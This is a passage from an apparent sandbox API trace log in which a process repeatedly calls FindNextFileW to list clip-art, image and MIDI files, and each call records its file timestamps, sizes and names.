ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0270.793] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0270.793] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0270.793] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0270.793] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0270.794] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0270.794] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0270.794] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0270.795] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0270.795] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0270.795] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0270.795] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0270.796] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0270.796] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0270.796] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0270.796] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0270.796] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0270.797] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0270.797] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0270.797] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0270.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0270.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0270.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0270.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0270.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0270.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0270.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0270.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0270.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0270.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0270.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0270.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0270.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0270.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, 